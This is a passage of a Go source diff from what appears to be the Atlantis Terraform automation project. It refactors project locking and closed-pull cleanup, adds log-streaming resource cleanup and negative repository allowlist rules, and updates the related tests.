vcs.NewClientProxy(githubClient, nil, nil, nil, nil) + mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) mockLocker := mocks.NewMockLocker() locker := events.DefaultProjectLocker{ Locker: mockLocker, @@ -53,7 +53,7 @@ func TestDefaultProjectLocker_TryLockWhenLocked(t *testing.T) { }, nil, ) - res, err := locker.TryLock(logging.NewNoopLogger(), expPull, expUser, expWorkspace, expProject) + res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true) link, _ := mockClient.MarkdownPullLink(lockingPull) Ok(t, err) Equals(t, &events.TryLockResponse{ @@ -65,7 +65,7 @@ func TestDefaultProjectLocker_TryLockWhenLocked(t *testing.T) { func TestDefaultProjectLocker_TryLockWhenLockedSamePull(t *testing.T) { RegisterMockTestingT(t) var githubClient *vcs.GithubClient - mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil) + mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) mockLocker := mocks.NewMockLocker() locker := events.DefaultProjectLocker{ Locker: mockLocker, @@ -90,7 +90,7 @@ func TestDefaultProjectLocker_TryLockWhenLockedSamePull(t *testing.T) { }, nil, ) - res, err := locker.TryLock(logging.NewNoopLogger(), expPull, expUser, expWorkspace, expProject) + res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true) Ok(t, err) Equals(t, true, res.LockAcquired) @@ -104,7 +104,7 @@ func TestDefaultProjectLocker_TryLockWhenLockedSamePull(t *testing.T) { func TestDefaultProjectLocker_TryLockUnlocked(t *testing.T) { RegisterMockTestingT(t) var githubClient *vcs.GithubClient - mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil) + mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) mockLocker := mocks.NewMockLocker() locker := events.DefaultProjectLocker{ Locker: mockLocker, @@ -129,7 +129,7 @@ func TestDefaultProjectLocker_TryLockUnlocked(t *testing.T) { }, nil, ) - res, err := locker.TryLock(logging.NewNoopLogger(), expPull, expUser, expWorkspace, expProject) + res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true) Ok(t, err) Equals(t, true, res.LockAcquired) @@ -139,3 +139,74 @@ func TestDefaultProjectLocker_TryLockUnlocked(t *testing.T) { Ok(t, err) mockLocker.VerifyWasCalledOnce().Unlock(lockKey) } + +func TestDefaultProjectLocker_RepoLocking(t *testing.T) { + var githubClient *vcs.GithubClient + mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) + expProject := models.Project{} + expWorkspace := "default" + expPull := models.PullRequest{Num: 2} + expUser := models.User{} + lockKey := "key" + + tests := []struct { + name string + repoLocking bool + setup func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) + verify func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) + }{ + { + "enable repo locking", + true, + func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) { + When(locker.TryLock(expProject, expWorkspace, expPull, expUser)).ThenReturn( + locking.TryLockResponse{ + LockAcquired: true, + CurrLock: models.ProjectLock{}, + LockKey: lockKey, + }, + nil, + ) + }, + func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) { + locker.VerifyWasCalledOnce().TryLock(expProject, expWorkspace, expPull, expUser) + noOpLocker.VerifyWasCalled(Never()).TryLock(expProject, expWorkspace, expPull, expUser) + }, + }, + { + "disable repo locking", + false, + func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) { + When(noOpLocker.TryLock(expProject, expWorkspace, expPull, expUser)).ThenReturn( + locking.TryLockResponse{ + LockAcquired: true, + CurrLock: models.ProjectLock{}, + LockKey: lockKey, + }, + nil, + ) + }, + func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) { + locker.VerifyWasCalled(Never()).TryLock(expProject, expWorkspace, expPull, expUser) + noOpLocker.VerifyWasCalledOnce().TryLock(expProject, expWorkspace, expPull, expUser) + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + RegisterMockTestingT(t) + mockLocker := mocks.NewMockLocker() + mockNoOpLocker := mocks.NewMockLocker() + locker := events.DefaultProjectLocker{ + Locker: mockLocker, + NoOpLocker: mockNoOpLocker, + VCSClient: mockClient, + } + tt.setup(mockLocker, mockNoOpLocker) + res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, tt.repoLocking) + Ok(t, err) + Equals(t, true, res.LockAcquired) + tt.verify(mockLocker, mockNoOpLocker) + }) + } +} diff --git a/server/events/pull_closed_executor.go b/server/events/pull_closed_executor.go index 94dc4743f2..5c005dbc9a 100644 --- a/server/events/pull_closed_executor.go +++ b/server/events/pull_closed_executor.go @@ -16,37 +16,44 @@ package events import ( "bytes" "fmt" + "io" "sort" "strings" "text/template" - "github.com/runatlantis/atlantis/server/events/db" - "github.com/runatlantis/atlantis/server/logging" "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/locking" + "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/jobs" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_pull_cleaner.go PullCleaner +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_resource_cleaner.go ResourceCleaner + +type ResourceCleaner interface { + CleanUp(pullInfo jobs.PullInfo) +} + +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_pull_cleaner.go PullCleaner // PullCleaner cleans up pull requests after they're closed/merged. type PullCleaner interface { // CleanUpPull deletes the workspaces used by the pull request on disk // and deletes any locks associated with this pull request for all workspaces. - CleanUpPull(repo models.Repo, pull models.PullRequest) error + CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error } // PullClosedExecutor executes the tasks required to clean up a closed pull // request. type PullClosedExecutor struct { - Locker locking.Locker - VCSClient vcs.Client - WorkingDir WorkingDir - Logger logging.SimpleLogging - DB *db.BoltDB + Locker locking.Locker + VCSClient vcs.Client + WorkingDir WorkingDir + Backend locking.Backend + PullClosedTemplate PullCleanupTemplate + LogStreamResourceCleaner ResourceCleaner } type templatedProject struct { @@ -59,9 +66,37 @@ var pullClosedTemplate = template.Must(template.New("").Parse( "{{ range . }}\n" + "- dir: `{{ .RepoRelDir }}` {{ .Workspaces }}{{ end }}")) +type PullCleanupTemplate interface { + Execute(wr io.Writer, data interface{}) error +} + +type PullClosedEventTemplate struct{} + +func (t *PullClosedEventTemplate) Execute(wr io.Writer, data interface{}) error { + return pullClosedTemplate.Execute(wr, data) +} + // CleanUpPull cleans up after a closed pull request. -func (p *PullClosedExecutor) CleanUpPull(repo models.Repo, pull models.PullRequest) error { - if err := p.WorkingDir.Delete(repo, pull); err != nil { +func (p *PullClosedExecutor) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + pullStatus, err := p.Backend.GetPullStatus(pull) + if err != nil { + // Log and continue to clean up other resources. + logger.Err("retrieving pull status: %s", err) + } + + if pullStatus != nil { + for _, project := range pullStatus.Projects { + jobContext := jobs.PullInfo{ + PullNum: pull.Num, + Repo: pull.BaseRepo.Name, + Workspace: project.Workspace, + ProjectName: project.ProjectName, + } + p.LogStreamResourceCleaner.CleanUp(jobContext) + } + } + + if err := p.WorkingDir.Delete(logger, repo, pull); err != nil { return errors.Wrap(err, "cleaning workspace") } @@ -74,8 +109,8 @@ func (p *PullClosedExecutor) CleanUpPull(repo models.Repo, pull models.PullReque } // Delete pull from DB. - if err := p.DB.DeletePullStatus(pull); err != nil { - p.Logger.Err("deleting pull from db: %s", err) + if err := p.Backend.DeletePullStatus(pull); err != nil { + logger.Err("deleting pull from db: %s", err) } // If there are no locks then there's no need to comment. @@ -88,7 +123,7 @@ func (p *PullClosedExecutor) CleanUpPull(repo models.Repo, pull models.PullReque if err = pullClosedTemplate.Execute(&buf, templateData); err != nil { return errors.Wrap(err, "rendering template for comment") } - return p.VCSClient.CreateComment(repo, pull.Num, buf.String(), "") + return p.VCSClient.CreateComment(logger, repo, pull.Num, buf.String(), "") } // buildTemplateData formats the lock data into a slice that can easily be diff --git a/server/events/pull_closed_executor_test.go b/server/events/pull_closed_executor_test.go index b84a1f8254..add595ea67 100644 --- a/server/events/pull_closed_executor_test.go +++ b/server/events/pull_closed_executor_test.go @@ -14,73 +14,101 @@ package events_test import ( - "errors" + "os" "testing" - "github.com/runatlantis/atlantis/server/events/db" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/jobs" + "github.com/runatlantis/atlantis/server/logging" + "github.com/stretchr/testify/assert" + bolt "go.etcd.io/bbolt" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" + lockmocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" - lockmocks "github.com/runatlantis/atlantis/server/events/locking/mocks" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/models/fixtures" + "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + loggermocks "github.com/runatlantis/atlantis/server/logging/mocks" . "github.com/runatlantis/atlantis/testing" ) func TestCleanUpPullWorkspaceErr(t *testing.T) { t.Log("when workspace.Delete returns an error, we return it") RegisterMockTestingT(t) + logger := logging.NewNoopLogger(t) w := mocks.NewMockWorkingDir() + tmp := t.TempDir() + db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) + Ok(t, err) pce := events.PullClosedExecutor{ - WorkingDir: w, + WorkingDir: w, + PullClosedTemplate: &events.PullClosedEventTemplate{}, + Backend: db, } - err := errors.New("err") - When(w.Delete(fixtures.GithubRepo, fixtures.Pull)).ThenReturn(err) - actualErr := pce.CleanUpPull(fixtures.GithubRepo, fixtures.Pull) + err = errors.New("err") + When(w.Delete(logger, testdata.GithubRepo, testdata.Pull)).ThenReturn(err) + actualErr := pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Equals(t, "cleaning workspace: err", actualErr.Error()) } func TestCleanUpPullUnlockErr(t *testing.T) { t.Log("when locker.UnlockByPull returns an error, we return it") RegisterMockTestingT(t) + logger := logging.NewNoopLogger(t) w := mocks.NewMockWorkingDir() l := lockmocks.NewMockLocker() + tmp := t.TempDir() + db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) + Ok(t, err) pce := events.PullClosedExecutor{ - Locker: l, - WorkingDir: w, + Locker: l, + WorkingDir: w, + Backend: db, + PullClosedTemplate: &events.PullClosedEventTemplate{}, } - err := errors.New("err") - When(l.UnlockByPull(fixtures.GithubRepo.FullName, fixtures.Pull.Num)).ThenReturn(nil, err) - actualErr := pce.CleanUpPull(fixtures.GithubRepo, fixtures.Pull) + err = errors.New("err") + When(l.UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num)).ThenReturn(nil, err) + actualErr := pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Equals(t, "cleaning up locks: err", actualErr.Error()) } func TestCleanUpPullNoLocks(t *testing.T) { + logger := logging.NewNoopLogger(t) t.Log("when there are no locks to clean up, we don't comment") RegisterMockTestingT(t) w := mocks.NewMockWorkingDir() l := lockmocks.NewMockLocker() cp := vcsmocks.NewMockClient() - tmp, cleanup := TempDir(t) - defer cleanup() + tmp := t.TempDir() db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) Ok(t, err) pce := events.PullClosedExecutor{ Locker: l, VCSClient: cp, WorkingDir: w, - DB: db, + Backend: db, } - When(l.UnlockByPull(fixtures.GithubRepo.FullName, fixtures.Pull.Num)).ThenReturn(nil, nil) - err = pce.CleanUpPull(fixtures.GithubRepo, fixtures.Pull) + When(l.UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num)).ThenReturn(nil, nil) + err = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Ok(t, err) - cp.VerifyWasCalled(Never()).CreateComment(matchers.AnyModelsRepo(), AnyInt(), AnyString(), AnyString()) + cp.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestCleanUpPullComments(t *testing.T) { + logger := logging.NewNoopLogger(t) t.Log("should comment correctly") RegisterMockTestingT(t) cases := []struct { @@ -92,17 +120,28 @@ func TestCleanUpPullComments(t *testing.T) { "single lock, empty path", []models.ProjectLock{ { - Project: models.NewProject("owner/repo", ""), + Project: models.NewProject("owner/repo", "", ""), Workspace: "default", }, }, "- dir: `.` workspace: `default`", }, + { + "single lock, named project", + []models.ProjectLock{ + { + Project: models.NewProject("owner/repo", "", "projectname"), + Workspace: "default", + }, + }, + // TODO: Should project name be included in output? + "- dir: `.` workspace: `default`", + }, { "single lock, non-empty path", []models.ProjectLock{ { - Project: models.NewProject("owner/repo", "path"), + Project: models.NewProject("owner/repo", "path", ""), Workspace: "default", }, }, @@ -112,11 +151,11 @@ func TestCleanUpPullComments(t *testing.T) { "single path, multiple workspaces", []models.ProjectLock{ { - Project: models.NewProject("owner/repo", "path"), + Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace1", }, { - Project: models.NewProject("owner/repo", "path"), + Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace2", }, }, @@ -126,19 +165,19 @@ func TestCleanUpPullComments(t *testing.T) { "multiple paths, multiple workspaces", []models.ProjectLock{ { - Project: models.NewProject("owner/repo", "path"), + Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace1", }, { - Project: models.NewProject("owner/repo", "path"), + Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace2", }, { - Project: models.NewProject("owner/repo", "path2"), + Project: models.NewProject("owner/repo", "path2", ""), Workspace: "workspace1", }, { - Project: models.NewProject("owner/repo", "path2"), + Project: models.NewProject("owner/repo", "path2", ""), Workspace: "workspace2", }, }, @@ -150,24 +189,123 @@ func TestCleanUpPullComments(t *testing.T) { w := mocks.NewMockWorkingDir() cp := vcsmocks.NewMockClient() l := lockmocks.NewMockLocker() - tmp, cleanup := TempDir(t) - defer cleanup() + tmp := t.TempDir() db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) Ok(t, err) pce := events.PullClosedExecutor{ Locker: l, VCSClient: cp, WorkingDir: w, - DB: db, + Backend: db, } t.Log("testing: " + c.Description) - When(l.UnlockByPull(fixtures.GithubRepo.FullName, fixtures.Pull.Num)).ThenReturn(c.Locks, nil) - err = pce.CleanUpPull(fixtures.GithubRepo, fixtures.Pull) + When(l.UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num)).ThenReturn(c.Locks, nil) + err = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Ok(t, err) - _, _, comment, _ := cp.VerifyWasCalledOnce().CreateComment(matchers.AnyModelsRepo(), AnyInt(), AnyString(), AnyString()).GetCapturedArguments() + _, _, _, comment, _ := cp.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() expected := "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n" + c.Exp Equals(t, expected, comment) }() } } + +func TestCleanUpLogStreaming(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + t.Run("Should Clean Up Log Streaming Resources When PR is closed", func(t *testing.T) { + + // Create Log streaming resources + prjCmdOutput := make(chan *jobs.ProjectCmdOutputLine) + prjCmdOutHandler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutput, logger) + ctx := command.ProjectContext{ + BaseRepo: testdata.GithubRepo, + Pull: testdata.Pull, + ProjectName: *testdata.Project.Name, + Workspace: "default", + } + + go prjCmdOutHandler.Handle() + prjCmdOutHandler.Send(ctx, "Test Message", false) + + // Create boltdb and add pull request. + var lockBucket = "bucket" + var configBucket = "configBucket" + var pullsBucketName = "pulls" + + f, err := os.CreateTemp("", "") + if err != nil { + panic(errors.Wrap(err, "failed to create temp file")) + } + path := f.Name() + f.Close() // nolint: errcheck + + // Open the database. + boltDB, err := bolt.Open(path, 0600, nil) + if err != nil { + panic(errors.Wrap(err, "could not start bolt DB")) + } + if err := boltDB.Update(func(tx *bolt.Tx) error { + if _, err := tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil { + return errors.Wrap(err, "failed to create bucket") + } + return nil + }); err != nil { + panic(errors.Wrap(err, "could not create bucket")) + } + db, _ := db.NewWithDB(boltDB, lockBucket, configBucket) + result := []command.ProjectResult{ + { + RepoRelDir: testdata.GithubRepo.FullName, + Workspace: "default", + ProjectName: *testdata.Project.Name, + }, + } + + // Create a new record for pull + _, err = db.UpdatePullWithResults(testdata.Pull, result) + Ok(t, err) + + workingDir := mocks.NewMockWorkingDir() + locker := lockmocks.NewMockLocker() + client := vcsmocks.NewMockClient() + logger := loggermocks.NewMockSimpleLogging() + + pullClosedExecutor := events.PullClosedExecutor{ + Locker: locker, + WorkingDir: workingDir, + Backend: db, + VCSClient: client, + PullClosedTemplate: &events.PullClosedEventTemplate{}, + LogStreamResourceCleaner: prjCmdOutHandler, + } + + locks := []models.ProjectLock{ + { + Project: models.NewProject(testdata.GithubRepo.FullName, "", ""), + Workspace: "default", + }, + } + When(locker.UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num)).ThenReturn(locks, nil) + + // Clean up. + err = pullClosedExecutor.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) + Ok(t, err) + + close(prjCmdOutput) + _, _, _, comment, _ := client.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() + expectedComment := "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n" + "- dir: `.` workspace: `default`" + Equals(t, expectedComment, comment) + + // Assert log streaming resources are cleaned up. + dfPrjCmdOutputHandler := prjCmdOutHandler.(*jobs.AsyncProjectCommandOutputHandler) + assert.Empty(t, dfPrjCmdOutputHandler.GetProjectOutputBuffer(ctx.PullInfo())) + assert.Empty(t, dfPrjCmdOutputHandler.GetReceiverBufferForPull(ctx.PullInfo())) + }) +} diff --git a/server/events/pull_status_fetcher.go b/server/events/pull_status_fetcher.go new file mode 100644 index 0000000000..126fed720e --- /dev/null +++ b/server/events/pull_status_fetcher.go @@ -0,0 +1,8 @@ +package events + +import "github.com/runatlantis/atlantis/server/events/models" + +// PullStatusFetcher fetches our internal model of a pull requests status +type PullStatusFetcher interface { + GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) +} diff --git a/server/events/pull_updater.go b/server/events/pull_updater.go new file mode 100644 index 0000000000..d85bd84f9d --- /dev/null +++ b/server/events/pull_updater.go @@ -0,0 +1,54 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/utils" +) + +type PullUpdater struct { + HidePrevPlanComments bool + VCSClient vcs.Client + MarkdownRenderer *MarkdownRenderer +} + +func (c *PullUpdater) updatePull(ctx *command.Context, cmd PullCommand, res command.Result) { + // Log if we got any errors or failures. + if res.Error != nil { + ctx.Log.Err(res.Error.Error()) + } else if res.Failure != "" { + ctx.Log.Warn(res.Failure) + } + + // HidePrevCommandComments will hide old comments left from previous runs to reduce + // clutter in a pull/merge request. This will not delete the comment, since the + // comment trail may be useful in auditing or backtracing problems. + if c.HidePrevPlanComments { + ctx.Log.Debug("hiding previous plan comments for command: '%v', directory: '%v'", cmd.CommandName().TitleString(), cmd.Dir()) + if err := c.VCSClient.HidePrevCommandComments(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, cmd.CommandName().TitleString(), cmd.Dir()); err != nil { + ctx.Log.Err("unable to hide old comments: %s", err) + } + } + + if len(res.ProjectResults) > 0 { + var commentOnProjects []command.ProjectResult + for _, result := range res.ProjectResults { + if utils.SlicesContains(result.SilencePRComments, cmd.CommandName().String()) { + ctx.Log.Debug("silenced command '%s' comment for project '%s'", cmd.CommandName().String(), result.ProjectName) + continue + } + commentOnProjects = append(commentOnProjects, result) + } + + if len(commentOnProjects) == 0 { + return + } + + res.ProjectResults = commentOnProjects + } + + comment := c.MarkdownRenderer.Render(ctx, res, cmd) + if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, comment, cmd.CommandName().String()); err != nil { + ctx.Log.Err("unable to comment: %s", err) + } +} diff --git a/server/events/repo_allowlist_checker.go b/server/events/repo_allowlist_checker.go index 5acc4e7050..4950b24056 100644 --- a/server/events/repo_allowlist_checker.go +++ b/server/events/repo_allowlist_checker.go @@ -24,20 +24,28 @@ const Wildcard = "*" // RepoAllowlistChecker implements checking if repos are allowlisted to be used with // this Atlantis. type RepoAllowlistChecker struct { - rules []string + includeRules []string + omitRules []string } // NewRepoAllowlistChecker constructs a new checker and validates that the // allowlist isn't malformed. func NewRepoAllowlistChecker(allowlist string) (*RepoAllowlistChecker, error) { - rules := strings.Split(allowlist, ",") - for _, rule := range rules { + includeRules := make([]string, 0) + omitRules := make([]string, 0) + for _, rule := range strings.Split(allowlist, ",") { if strings.Contains(rule, "://") { return nil, fmt.Errorf("allowlist %q contained ://", rule) } + if len(rule) > 1 && rule[0] == '!' { + omitRules = append(omitRules, rule[1:]) + } else { + includeRules = append(includeRules, rule) + } } return &RepoAllowlistChecker{ - rules: rules, + includeRules: includeRules, + omitRules: omitRules, }, nil } @@ -45,7 +53,13 @@ func NewRepoAllowlistChecker(allowlist string) (*RepoAllowlistChecker, error) { // otherwise. func (r *RepoAllowlistChecker) IsAllowlisted(repoFullName string, vcsHostname string) bool { candidate := fmt.Sprintf("%s/%s", vcsHostname, repoFullName) - for _, rule := range r.rules { + shouldInclude := r.matchesAtLeastOneRule(r.includeRules, candidate) + shouldOmit := r.matchesAtLeastOneRule(r.omitRules, candidate) + return shouldInclude && !shouldOmit +} + +func (r *RepoAllowlistChecker) matchesAtLeastOneRule(rules []string, candidate string) bool { + for _, rule := range rules { if r.matchesRule(rule, candidate) { return true } diff --git a/server/events/repo_allowlist_checker_test.go b/server/events/repo_allowlist_checker_test.go index 79ff3d4615..c03e714244 100644 --- a/server/events/repo_allowlist_checker_test.go +++ b/server/events/repo_allowlist_checker_test.go @@ -175,6 +175,20 @@ func TestRepoAllowlistChecker_IsAllowlisted(t *testing.T) { "github.com", true, }, + { + "should exclude with negative match", + "github.com/owner/*,!github.com/owner/badrepo", + "owner/badrepo", + "github.com", + false, + }, + { + "should match if with negative rule doesn't match", + "github.com/owner/*,!github.com/owner/badrepo", + "owner/otherrepo", + "github.com", + true, + }, } for _, c := range cases { diff --git a/server/events/repo_branch_test.go b/server/events/repo_branch_test.go new file mode 100644 index 0000000000..cc4521a20e --- /dev/null +++ b/server/events/repo_branch_test.go @@ -0,0 +1,86 @@ +package events + +import ( + "os" + "path/filepath" + "testing" + + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/stretchr/testify/require" +) + +func TestRepoBranch(t *testing.T) { + globalYAML := `repos: + - id: github.com/foo/bar + branch: /release/.*/ + apply_requirements: [approved, mergeable] + allowed_overrides: [workflow] + allowed_workflows: [development, production] + allow_custom_workflows: true +workflows: + development: + plan: + steps: + - run: 'echo "Executing test workflow: terraform plan in ..."' + - init: + extra_args: ["-upgrade"] + - plan + apply: + steps: + - run: 'echo "Executing test workflow: terraform apply in ..."' + - apply + production: + plan: + steps: + - run: 'echo "Executing production workflow: terraform plan in ..."' + - init: + extra_args: ["-upgrade"] + - plan + apply: + steps: + - run: 'echo "Executing production workflow: terraform apply in ..."' + - apply +` + + repoYAML := `version: 3 +projects: + - name: development + branch: /main/ + dir: terraform/development + workflow: development + autoplan: + when_modified: + - "**/*" + - name: production + branch: /production/ + dir: terraform/production + workflow: production + autoplan: + when_modified: + - "**/*" +` + + tmp := t.TempDir() + + globalYAMLPath := filepath.Join(tmp, "config.yaml") + err := os.WriteFile(globalYAMLPath, []byte(globalYAML), 0600) + require.NoError(t, err) + + globalCfgArgs := valid.GlobalCfgArgs{} + + parser := &config.ParserValidator{} + global, err := parser.ParseGlobalCfg(globalYAMLPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + require.NoError(t, err) + + repoYAMLPath := filepath.Join(tmp, "atlantis.yaml") + err = os.WriteFile(repoYAMLPath, []byte(repoYAML), 0600) + require.NoError(t, err) + + repo, err := parser.ParseRepoCfg(tmp, global, "github.com/foo/bar", "main") + require.NoError(t, err) + + require.Len(t, repo.Projects, 1) + + t.Logf("Projects: %+v", repo.Projects) +} diff --git a/server/events/runtime/apply_step_runner_test.go b/server/events/runtime/apply_step_runner_test.go deleted file mode 100644 index 386857a17a..0000000000 --- a/server/events/runtime/apply_step_runner_test.go +++ /dev/null @@ -1,441 +0,0 @@ -package runtime_test - -import ( - "errors" - "fmt" - "io/ioutil" - "os" - "path/filepath" - "strings" - "sync" - "testing" - - version "github.com/hashicorp/go-version" - . "github.com/petergtz/pegomock" - mocks2 "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform" - "github.com/runatlantis/atlantis/server/events/terraform/mocks" - matchers2 "github.com/runatlantis/atlantis/server/events/terraform/mocks/matchers" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -func TestRun_NoDir(t *testing.T) { - o := runtime.ApplyStepRunner{ - TerraformExecutor: nil, - } - _, err := o.Run(models.ProjectCommandContext{ - RepoRelDir: ".", - Workspace: "workspace", - }, nil, "/nonexistent/path", map[string]string(nil)) - ErrEquals(t, "no plan found at path \".\" and workspace \"workspace\"–did you run plan?", err) -} - -func TestRun_NoPlanFile(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - o := runtime.ApplyStepRunner{ - TerraformExecutor: nil, - } - _, err := o.Run(models.ProjectCommandContext{ - RepoRelDir: ".", - Workspace: "workspace", - }, nil, tmpDir, map[string]string(nil)) - ErrEquals(t, "no plan found at path \".\" and workspace \"workspace\"–did you run plan?", err) -} - -func TestRun_Success(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - planPath := filepath.Join(tmpDir, "workspace.tfplan") - err := ioutil.WriteFile(planPath, nil, 0644) - Ok(t, err) - - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - o := runtime.ApplyStepRunner{ - TerraformExecutor: terraform, - } - - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - output, err := o.Run(models.ProjectCommandContext{ - Workspace: "workspace", - RepoRelDir: ".", - EscapedCommentArgs: []string{"comment", "args"}, - }, []string{"extra", "args"}, tmpDir, map[string]string(nil)) - Ok(t, err) - Equals(t, "output", output) - terraform.VerifyWasCalledOnce().RunCommandWithVersion(nil, tmpDir, []string{"apply", "-input=false", "-no-color", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), nil, "workspace") - _, err = os.Stat(planPath) - Assert(t, os.IsNotExist(err), "planfile should be deleted") -} - -func TestRun_AppliesCorrectProjectPlan(t *testing.T) { - // When running for a project, the planfile has a different name. - tmpDir, cleanup := TempDir(t) - defer cleanup() - planPath := filepath.Join(tmpDir, "projectname-default.tfplan") - err := ioutil.WriteFile(planPath, nil, 0644) - Ok(t, err) - - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - o := runtime.ApplyStepRunner{ - TerraformExecutor: terraform, - } - - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - output, err := o.Run(models.ProjectCommandContext{ - Workspace: "default", - RepoRelDir: ".", - ProjectName: "projectname", - EscapedCommentArgs: []string{"comment", "args"}, - }, []string{"extra", "args"}, tmpDir, map[string]string(nil)) - Ok(t, err) - Equals(t, "output", output) - terraform.VerifyWasCalledOnce().RunCommandWithVersion(nil, tmpDir, []string{"apply", "-input=false", "-no-color", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), nil, "default") - _, err = os.Stat(planPath) - Assert(t, os.IsNotExist(err), "planfile should be deleted") -} - -func TestRun_UsesConfiguredTFVersion(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - planPath := filepath.Join(tmpDir, "workspace.tfplan") - err := ioutil.WriteFile(planPath, nil, 0644) - Ok(t, err) - - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - o := runtime.ApplyStepRunner{ - TerraformExecutor: terraform, - } - tfVersion, _ := version.NewVersion("0.11.0") - - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - output, err := o.Run(models.ProjectCommandContext{ - Workspace: "workspace", - RepoRelDir: ".", - EscapedCommentArgs: []string{"comment", "args"}, - TerraformVersion: tfVersion, - }, []string{"extra", "args"}, tmpDir, 